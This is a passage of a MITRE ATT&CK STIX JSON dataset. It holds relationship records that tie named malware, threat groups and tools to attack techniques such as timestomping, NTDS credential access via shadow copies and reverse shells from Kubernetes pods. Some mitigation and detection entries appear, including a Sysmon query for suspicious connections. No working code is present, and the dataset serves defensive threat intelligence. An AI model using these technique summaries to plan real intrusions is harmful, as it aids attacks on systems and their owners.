activity.","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--719676a8-9d6c-4ac6-812b-aa268a9abc88","type":"relationship","created":"2020-10-27T19:20:07.238Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT BLINDINGCAN Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a","description":"US-CERT. (2020, August 19). MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020."}],"modified":"2020-10-27T19:20:07.238Z","description":"[BLINDINGCAN](https://attack.mitre.org/software/S0520) has deleted itself and associated artifacts from victim machines.(Citation: US-CERT BLINDINGCAN Aug 2020)","relationship_type":"uses","source_ref":"malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7196c18e-b80f-41ec-ae37-a88e99435f56","type":"relationship","created":"2020-12-28T22:09:15.752Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}],"modified":"2020-12-28T22:09:15.752Z","description":"[MoleNet](https://attack.mitre.org/software/S0553) can perform WMI commands on the system.(Citation: Cybereason Molerats Dec 2020)","relationship_type":"uses","source_ref":"malware--8a59f456-79a0-4151-9f56-9b1a67332af2","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--719f0c42-8eb8-461b-8f35-cf5dfc42e47b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2019-04-24T15:26:03.623Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) gathers information on users.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--71a121ba-b01c-418c-af8d-63df2cec70de","type":"relationship","created":"2019-01-29T18:55:20.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Remcos Aug 2018","url":"https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html","description":"Brumaghin, E., Unterbrink, H. (2018, August 22). Picking Apart Remcos Botnet-In-A-Box. Retrieved November 6, 2018."}],"modified":"2019-04-19T14:39:53.099Z","description":"[Remcos](https://attack.mitre.org/software/S0332) uses RC4 and base64 to obfuscate data, including Registry entries and file paths.(Citation: Talos Remcos Aug 2018)","relationship_type":"uses","source_ref":"tool--7cd0bc75-055b-4098-a00e-83dc8beaff14","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--71a3a771-3674-4b44-8742-bed627f178b3","type":"relationship","created":"2019-10-11T16:13:19.711Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators’ New Tools and Techniques. Retrieved October 11, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html","source_name":"FireEye FIN7 Oct 2019"}],"modified":"2019-10-11T16:13:19.711Z","description":"[RDFSNIFFER](https://attack.mitre.org/software/S0416) hooks several Win32 API functions to hijack elements of the remote system management user-interface.(Citation: FireEye FIN7 Oct 2019)","relationship_type":"uses","source_ref":"malware--065196de-d7e8-4888-acfb-b2134022ba1b","target_ref":"attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--71a8ae5e-3a78-49b5-9857-e202d636cedf","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","source_name":"FireEye APT32 May 2017"},{"description":"Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.","url":"https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/","source_name":"ESET OceanLotus Mar 2019"},{"source_name":"ESET OceanLotus macOS April 2019","url":"https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/","description":"Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019."}],"modified":"2020-06-19T20:04:12.444Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has used scheduled task raw XML with a backdated timestamp of June 2, 2016. The group has also set the creation time of the files dropped by the second stage of the exploit to match the creation time of kernel32.dll. Additionally, [APT32](https://attack.mitre.org/groups/G0050) has used a random value to modify the timestamp of the file storing the clientID.(Citation: FireEye APT32 May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: ESET OceanLotus macOS April 2019)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--71abba24-84a2-449d-811a-ba006382d723","type":"relationship","created":"2020-06-12T16:15:04.912Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. (2020, May 13). Ramsay: A cyber‑espionage toolkit tailored for air‑gapped networks. Retrieved May 27, 2020."}],"modified":"2020-06-16T23:17:21.069Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) can store collected documents in a custom container after encrypting and compressing them using RC4 and WinRAR.(Citation: Eset Ramsay May 2020)","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--71aca8ff-1ac7-4d62-b388-ef4605cf8d4b","created":"2022-04-22T18:49:20.528Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"","modified":"2022-04-22T18:49:20.528Z","relationship_type":"revoked-by","source_ref":"attack-pattern--06780952-177c-4247-b978-79c357fb311f","target_ref":"attack-pattern--6747daa2-3533-4e78-8fb8-446ebb86448a","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--71ae6f80-3d5c-4d61-8995-5844f9f592ed","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","source_name":"Proofpoint Leviathan Oct 2017"},{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"},{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."},{"source_name":"Accenture MUDCARP March 2019","url":"https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies","description":"Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021."}],"modified":"2021-08-31T15:25:13.994Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has used PowerShell for execution.(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)(Citation: CISA AA21-200A APT40 July 2021)(Citation: Accenture MUDCARP March 2019)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--71b0e83e-8b1e-41ea-b7ec-35f66a3ee9d8","created":"2024-10-08T20:05:59.388Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-08T20:05:59.388Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) used [CrackMapExec](https://attack.mitre.org/software/S0488) during intrusions.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"tool--c4810609-7da6-48ec-8057-1b70a7814db0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--71b17443-ce0b-47c1-bd6a-ec76b95e9211","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T16:28:22.683Z","description":"Monitor network traffic patterns associated with web-based user actions, such as clicking on phishing links or executing malware that tries to establish C2 communication.\n\nAnalytic 1 - Web-based network connections to suspicious destinations.\n\nsourcetype=sysmon EventCode=3\n| search process_name IN (\"winword.exe\", \"chrome.exe\", \"firefox.exe\") \n| stats count by src_ip dest_ip dest_port process_name\n| where dest_ip NOT IN (\"\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--71b2b21e-bb44-47eb-85da-7a593419c0c5","type":"relationship","created":"2021-06-10T15:45:06.538Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}],"modified":"2021-06-10T15:45:06.538Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) has the ability to rename its payload to ESTCommon.dll to masquerade as a DLL belonging to ESTsecurity.(Citation: Malwarebytes Kimsuky June 2021)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--71b61f0c-3a56-456f-9e82-5252e243ae38","created":"2024-03-13T20:41:18.293Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 3 February 2024","description":"Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-13T20:41:30.835Z","description":"[LITTLELAMB.WOOLTEA](https://attack.mitre.org/software/S1121) can communicate over SSL using the private key from the Ivanti Connect Secure web server.(Citation: Mandiant Cutting Edge Part 3 February 2024)","relationship_type":"uses","source_ref":"malware--19256855-65e9-48f2-8b74-9f3d0a994428","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--71b92fe6-dd99-4192-b327-8ef27b790123","type":"relationship","created":"2020-12-29T16:20:28.524Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}],"modified":"2020-12-29T16:20:28.524Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has used Volume Shadow Copy to access credential information from NTDS.(Citation: CISA AA20-259A Iran-Based Actor September 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--71bb09bc-0405-43ed-9848-bf685234c670","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fidelis TrickBot Oct 2016","description":"Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.","url":"https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre"},{"source_name":"Bitdefender Trickbot C2 infra Nov 2020","url":"https://www.bitdefender.com/blog/labs/trickbot-is-dead-long-live-trickbot/","description":"Liviu Arsene, Radu Tudorica. (2020, November 23). TrickBot is Dead. Long Live TrickBot!. Retrieved September 28, 2021."}],"modified":"2021-09-28T22:45:49.547Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) uses a custom crypter leveraging Microsoft’s CryptoAPI to encrypt C2 traffic.(Citation: Fidelis TrickBot Oct 2016)Newer versions of [TrickBot](https://attack.mitre.org/software/S0266) have been known to use `bcrypt` to encrypt and digitally sign responses to their C2 server. (Citation: Bitdefender Trickbot C2 infra Nov 2020)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--71bc9a2e-4536-4b84-9997-126cc4c065bf","created":"2023-02-23T20:57:03.088Z","revoked":false,"external_references":[{"source_name":"MalwareBytes WoodyRAT Aug 2022","description":"MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-23T20:57:03.089Z","description":"[Woody RAT](https://attack.mitre.org/software/S1065) can collect information from a compromised host.(Citation: MalwareBytes WoodyRAT Aug 2022)","relationship_type":"uses","source_ref":"malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--71bcc1dc-2392-448a-8133-f126fed08023","type":"relationship","created":"2020-01-24T18:38:56.145Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx","description":"Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.","source_name":"Microsoft DLL Security"}],"modified":"2020-03-25T16:52:26.824Z","description":"Ensure safe DLL search mode is enabled HKEY_LOCAL_MACHINE\\\\System\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\SafeDllSearchMode to mitigate risk that lsass.exe loads a malicious code library. (Citation: Microsoft DLL Security)","relationship_type":"mitigates","source_ref":"course-of-action--e8242a33-481c-4891-af63-4cf3e4cf6aff","target_ref":"attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--71c146b5-9afa-41fa-9339-2a6287e7d309","type":"relationship","created":"2021-02-17T20:27:27.439Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM MegaCortex","url":"https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/","description":"Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."}],"modified":"2021-02-17T20:27:27.439Z","description":"[MegaCortex](https://attack.mitre.org/software/S0576) loads injecthelper.dll into a newly created rundll32.exe process.(Citation: IBM MegaCortex)","relationship_type":"uses","source_ref":"malware--909617c3-6d87-4330-8f32-bd3af38c3b92","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--71c1ca7f-0086-4168-94c2-b6d4bfa5938a","created":"2024-08-07T20:51:20.982Z","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-07T20:51:20.982Z","description":"[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) can use a custom Base64 alphabet for encoding C2.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--542e3384-341a-455b-bb48-4917b25e3b00","target_ref":"attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--71c512cd-2372-400e-92ea-2c84760b81f5","type":"relationship","created":"2021-10-07T21:28:23.986Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"trendmicro xcsset xcode project 2020","url":"https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf","description":"Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}],"modified":"2021-10-19T00:23:16.080Z","description":"[XCSSET](https://attack.mitre.org/software/S0658) collects contacts and application data from files in Desktop, Documents, Downloads, Dropbox, and WeChat folders.(Citation: trendmicro xcsset xcode project 2020)","relationship_type":"uses","source_ref":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--71c5ab4c-c567-4043-aa8b-3b83a4eb5808","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor for unexpected deletions of a running process (ex: Sysmon EID 5 or Windows EID 4689) that may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.","source_ref":"x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--71cac5bb-2d68-44b8-ae8a-4d159c06ec61","created":"2021-01-20T18:30:30.617Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.422Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used net share and net view to identify network shares of interest.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--71cd5162-6352-4e19-9a02-2d8510333f6a","created":"2024-07-30T14:08:16.173Z","revoked":false,"external_references":[{"source_name":"CERT-UA WinterVivern 2023","description":"CERT-UA. (2023, February 1). UAC-0114 aka Winter Vivern to target Ukrainian and Polish GOV entities (CERT-UA#5909). Retrieved July 29, 2024.","url":"https://cert.gov.ua/article/3761104"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-30T14:08:16.173Z","description":"[Winter Vivern](https://attack.mitre.org/groups/G1035) delivered PowerShell scripts capable of taking screenshots of victim machines.(Citation: CERT-UA WinterVivern 2023)","relationship_type":"uses","source_ref":"intrusion-set--75a07184-a7e5-4222-95a1-a04dbc96a29c","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--71d14fd4-c393-4dd9-9ae3-3970295ac4a5","created":"2024-03-22T20:15:24.393Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SocGholish-update","description":"Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T18:16:43.004Z","description":"[SocGholish](https://attack.mitre.org/software/S1124) has been named `AutoUpdater.js` to mimic legitimate update files.(Citation: SocGholish-update)","relationship_type":"uses","source_ref":"malware--5911d2ca-64f6-49b3-b94f-29b5d185085c","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--71d8ce83-3410-4bf2-b30c-a3aa4c8a931d","created":"2022-02-08T16:11:38.686Z","x_mitre_version":"1.0","external_references":[{"source_name":"Peirates GitHub","url":"https://github.com/inguardians/peirates","description":"InGuardians. (2022, January 5). Peirates GitHub. Retrieved February 8, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Peirates](https://attack.mitre.org/software/S0683) can deploy a pod that mounts its node’s root file system, then execute a command to create a reverse shell on the node.(Citation: Peirates GitHub)","modified":"2022-04-14T20:57:28.821Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--79dd477a-8226-4b3d-ad15-28623675f221","target_ref":"attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--71d95d1d-d519-44d8-9177-b01196cf8fe3","type":"relationship","created":"2019-04-17T18:43:36.375Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved 